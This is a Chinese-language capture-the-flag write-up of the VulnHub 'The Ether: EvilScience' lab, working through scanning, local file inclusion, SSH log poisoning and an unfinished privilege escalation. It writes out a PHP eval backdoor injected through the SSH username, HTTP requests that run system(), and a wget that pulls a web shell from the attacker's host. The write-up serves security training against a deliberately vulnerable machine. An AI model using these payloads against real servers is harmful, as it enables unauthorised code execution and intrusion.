很久没有写vulnhub了,趁着这周末上午做一套练练手,主要的点还是在文件包含日志和msf提权方面。
下载地址:
https://www.vulnhub.com/entry/the-ether-evilscience,212
测试环境
VM采用的是桥接模式,在WIN10上使用advance ip scanner获取靶机ip地址
攻击IP | 类型 | 靶机IP |
---|---|---|
192.168.1.102 | WIN10/pc | 192.168.1.104 |
192.168.235.234 | Kali/VM | 192.168.1.104 |
信息收集
在扫描靶机地址的时候获取到存在HTTP页面,为了稳妥期间,在渗透WEB页面之前对靶机其他的端口进行扫描,获取更多的信息。这里使用nmap进行扫描
命令:
nmap -T4 -A -sS -p 1-65535 -v 192.168.1.104
开放的端口为22和80端口,我们还是先从80端口入手对WEB页面进行渗透测试
WEB渗透测试
访问WEB页面
像是一个医药公司的站点?看一下其他页面
about页面简单的介绍了这是个搞基因的小组,这些都不重要,重要的是我们在URL的位置,发现了疑似文件包含的漏洞,尝试构造一下读取源码
没有任何回显,burp抓包一下,fuzz读取一下其他文件
使用字典进行fuzz
可以看到此处存在文件包含漏洞,我们成功读出日志数据,对这几个文件进行分析
/var/log/lastlog
# 记录所有用户的最近信息,记录系统用户信息,且不是ascii文件,需要借助命令才能成功读取
/var/log/wtmp
#使用wtmp可以找出谁正在登陆进入系统,使用wtmp命令显示这个文件或信息等
/var/log/auth.log
#用户认证日志,包含ssh登陆用户的信息
/var/run/utmp
#用户操作函数
经过对文件的分析可以看到,我们能将自己的行为写入的文件只有
“`/var/log/wtmp“`和“`/var/log/auth.log“`但wtmp文件需要特定的命令才能读取,直接包含返回的为不可见字符
我们可以成功的包含读取auth.log的内容
“`/var/log/auth.log“`
显示了我们登陆ssh的详细信息,包括用户名端口等,我们可以构造恶意代码尝试ssh登陆,这样就可以把构造的语句写入到日志文件当中,再进一步使用文件包含利用即可,构造代码
ssh '<?php eval($_GET['pdsdt']); echo "111";?>'@192.168.1.104
对日志文件进行包含利用
GET /index.php?file=%2fvar%2flog%2fauth%2elog&pdsdt=phpinfo(); HTTP/1.1
Host: 192.168.1.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
成功执行命令,使用命令创造一个shell文件,以便于我们后期的渗透
首先在本地创建一个shell文件,更名为pdsdt.jpg
使用python开启临时的HTTP端口,方便靶机下载shell
python -m SimpleHTTPServer 8081
在靶机端使用wget获取我们构造的shell
GET /index.php?file=%2fvar%2flog%2fauth%2elog&pdsdt=system('wget+http://192.168.1.103:8081/pdsdt.jpg')%3b HTTP/1.1
Host: 192.168.1.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
修改文件后缀名,查看一下目录下
成功生成了pdsdt.php文件,不过可以看到我们此时没有执行权限,使用chmod命令修改文件权限
GET /index.php?file=%2fvar%2flog%2fauth%2elog&pdsdt=system('chmod+777+pdsdt.php')%3b HTTP/1.1
Host: 192.168.1.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
再次查看权限
使用我们的shell文件执行命令
成功执行命令,获取一下系统权限,反弹shell或者借助菜刀等工具都可以,我这里借用了蚁剑,同样的方法生成一句话木马链接即可
蚁剑成功连接
下一步主要就是提权了,先看一下目录下有没有存在可疑文件
在网站根目录下存在一个较大的python文件,读取一下看一下具体内容
加密的文件,先尝试运行一下文件看看效果,使用蚁剑的虚拟终端
首先发现文件的所有者是root,还要SUID的权限,运行看一下效果
是一个对日志进行查看分析的脚本,我们主要对文件的权限进行一个查看
发现我们可以在不输入root命令的情况下以root用户权限运行该文件,尝试利用该文件提权
sudo ./xxxlogauditorxxx.py
发现在执行过程中文件报错,应该是靶场文件的问题了,后期的提权问题只能等修复好该文件再进行测试了。
总结
本次靶场的总体思路还是比较清晰的,通过伪协议读取文件,虽然在index.php中有诸多限制,我们还可以成功的读取ssh的日志文件,再通过SSH登陆写入恶意代码,使用文件包含漏洞执行命令,从而生成shell,连接蚁剑,唯一遗憾的是没有使用SUID提权,只能再从官网下载一次镜像测试了。